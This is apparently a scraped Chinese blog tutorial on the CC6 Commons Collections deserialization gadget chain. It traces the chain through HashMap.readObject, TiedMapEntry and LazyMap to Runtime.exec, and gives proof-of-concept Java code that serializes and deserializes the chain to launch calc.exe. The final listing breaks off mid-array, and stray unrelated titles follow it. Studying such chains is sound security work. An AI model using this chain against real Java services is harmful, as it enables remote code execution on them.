CC6...

Posted Zero_Adam

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CC6...相关的知识,希望对你有一定的参考价值。

目录......


标题要大于5个字,弄了一会,,原来是最上面的标题。

1. 前言…

接着P神的CC1,往后分析,CC1是真能够解决8u71之前的使用的,遇到的问题就是CC1用到了AnnotationInvocationHandler类,但是AnnotationInvocationHandler类的readObject()方法在8u71以后逻辑就发生了改变,不能再利用了,所以需要找一个可以解决高版本Java的利用链。

先看P神的简化调用链:

 Gadget chain:
 java.io.ObjectInputStream.readObject()
 	java.util.HashMap.readObject()
 		java.util.HashMap.hash()

org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()

org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
 org.apache.commons.collections.map.LazyMap.get()

org.apache.commons.collections.functors.ChainedTransformer.transform()

org.apache.commons.collections.functors.InvokerTransformer.transform()
 java.lang.reflect.Method.invoke()
 java.lang.Runtime.exec()

看着链子大致就能懂了,反序列化的对象是HashMap对象。联想一下URLDNSHashMapreadObject中调用了hash()hash()函数中调用了keyhashCode()TiedMapEntryhashCode()函数:

我们需要看的主要是从最开始到 org.apache.commons.collections.map.LazyMap.get()的那⼀部分,因为LazyMap#get() 后⾯的部分在上⼀篇⽂章⾥已经说了

所以简单来说,解决Java高版本利用问题,就是找上下文中是否还有其他调用 LazyMap#get()的地方, ,get()不存在的键的时候,就会调用transform()方法,

2. 分析CC6…

我们找到的类是 org.apache.commons.collections.keyvalue.TiedMapEntry,在其 getValue()⽅法中调⽤了 this.map.get() ,⽽其hashCode⽅法调⽤了getValue⽅法

2.1 TiedMapEnrty…

还是看一下源码:

翻译:一个绑定到下面的map的一个map entry,它能让一个map enrty 来改变底层map,然后,这可能会弄乱任何一个迭代器。 。 翻译的一塌糊涂,,,

/**
 * A Map Entry tied to a map underneath.
 * <p>
 * This can be used to enable a map entry to make changes on the underlying
 * map, however this will probably mess up any iterators.
 *
 * @since Commons Collections 3.0
 * @version $Revision: 1.5 $ $Date: 2004/04/09 14:35:10 $
 * 
 * @author Stephen Colebourne
 */
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable 

构造方法: 翻译:用给定的map和key来创建一个新的entry

    
    /**
     * Constructs a new entry with the given Map and key.
     *
     * @param map  the map
     * @param key  the key
     */
    public TiedMapEntry(Map map, Object key) 
        super();
        this.map = map;
        this.key = key;
    

hashCode()

/**
 * Gets a hashCode compatible with the equals method.
 * <p>
 * Implemented per API documentation of @link java.util.Map.Entry#hashCode()
 * 
 * @return a suitable hash code
 */
public int hashCode() 
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); 

getvalue()

/**
 * Gets the value of this entry direct from the map.
 * 
 * @return the value
 */
public Object getValue() 
    return map.get(key);

这里的map,我们应该是要替换为LazyMap

所以,要触发LazyMap利用链,那么就是要找哪里利用了TiedMapEntry#hashCode()

这个是 HashMaphash()

    static final int hash(Object key) 
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    

ysoserial中,是利⽤ java.util.HashSet#readObjectHashMap#put()HashMap#hash(key)最后到 TiedMapEntry#hashCode()

实际上 P神 发现,在 java.util.HashMap#readObject中就可以找到HashMap#hash()的调⽤,去掉了最前⾯的两次调用,然后给 HashMap传入参数是TiedMapEntry,然后走 TiedMapEntry#hashCode()。然后TiedMapEntry#getValue()。然后LazyMap#get()。。

需要我们给 HashMap传入参数是TiedMapEntry

。给TiedMapEntry传参LazyMap

/**
 * Reconstitute the @code HashMap instance from a stream (i.e.,
 * deserialize it).
 */
private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException 
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
	...
        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) 
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        
    

readObject()中就有hash(key) , 那么我们就让这个keyTiedMapEntry就行了

static final int hash(Object key) 
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);

TiedMapEntry 的构造方法和 getValue, 那么 这个的第一个参数就是 LazyMap了。

public TiedMapEntry(Map map, Object key) 
    super();
    this.map = map;
    this.key = key;


public Object getValue() 
    return map.get(key);

来Gadget!

2.2 开始构造 poc

先来上 CC1 的后边部分 ,这个是 LazyMap.put()方法触发计算器的那个东西,

package ysoserial.test.adamtest;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class cc6demo1 

    public static void main(String[] args) throws Exception 
        Transformer[] transformers = new Transformer[]
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]String.class,
                Class[].class, new Object[]"getRuntime",
                new Class[0]),
            new InvokerTransformer("invoke", new Class[]Object.class,
                Object[].class, new Object[]null, new Object[0]
            ),
            new InvokerTransformer("exec", new Class[]String.class,
                new String[]
                    "calc.exe"),
        ;
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();

        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
        Object o = outerMap.get("1");

    


我一开始写的这个,和feng师傅一样,,

package ysoserial.test.adamtest;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;



public class cc6demo1 

    public static void main(String[] args) throws Exception 

        Transformer[] fakeTransformers = new Transformer[]new ConstantTransformer(1);

        Transformer[] transformers = new Transformer[]
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]String.class,
                Class[].class, new Object[]"getRuntime",
                new Class[0]),
            new InvokerTransformer("invoke", new Class[]Object.class,
                Object[].class, new Object[]null, new Object[0]
            ),
            new InvokerTransformer("exec", new Class[]String.class,
                new String[]
                    "calc.exe"),
        ;
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);


        TiedMapEntry tme = new TiedMapEntry(outerMap,"adamkey");
        Map map = new HashMap<>();

        map.put(tme,"value");

        byte[] bytes = serialize(map);
        System.out.println(bytes.toString());
        unserialize(bytes);
    

    private static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException 
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes); // 这个是写入,自然是先流进来的。所以它要有参数
        ObjectInputStream ois = new ObjectInputStream(bais);//将流进行反序列化的,所以需要流流入,所以他需要一个参数
        ois.readObject();
    

    private static byte[] serialize(Object o) throws IOException 
        ByteArrayOutputStream baos = new ByteArrayOutputStream();//输出的,数据流入它,所以它是作为其他流的输入的。它最后是输出用的
        // 这里是用 ByteArrayOutputStram()来盛放。
        ObjectOutputStream oos = new ObjectOutputStream(baos);//ObjectOutputStram(new FileOutputStream)一定要有一个输出兑现,他要把生成的字节给一个东西放着,
        oos.writeObject(o);
        return baos.toByteArray();
    



出现的第一个问题就是,我在这里就直接弹计算器了,后来P神说是intellij在debug的时候会调用一些toString(),然后就会执行

        map.put(tme,"value");

就利用了一下P神的思路,在序列化之前用一个没影响的Transformer[],也就是fakeTransformers

为了避免本地调试时触发命令执

⾏,我构造 LazyMap 的时候先⽤了⼀个⼈畜⽆害的 fakeTransformers 对象,等最后要⽣成Payload

时候,再把真正的 transformers 替换进去

package ysoserial.test.adamtest;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;



public class cc6demo1 

    public static void main(String[] args) throws Exception 

        Transformer[] fakeTransformers = new Transformer[]new ConstantTransformer(1);

        Transformer[] transformers = new Transformer[]
            new ConstantTransformer(Class.forName("java.lang.Runtime")),
            new InvokerTransformer(
                "getMethod",
                new Class[]String.class, Class[].class,
                new Object[]"getRuntime", new Class[0]
            ),
            new InvokerTransformer(
                "invoke",
                new Class[]Object.class, Object[].class,
                new Object[]null, new Object[0]
            ),
            new InvokerTransformer(
                "exec",
                new Class[]String.class,
                new String[]"calc.exe"CC6...

CC6...

CC6...

CC6...

陇原杯 eaaasyphp

WP-2021祥云杯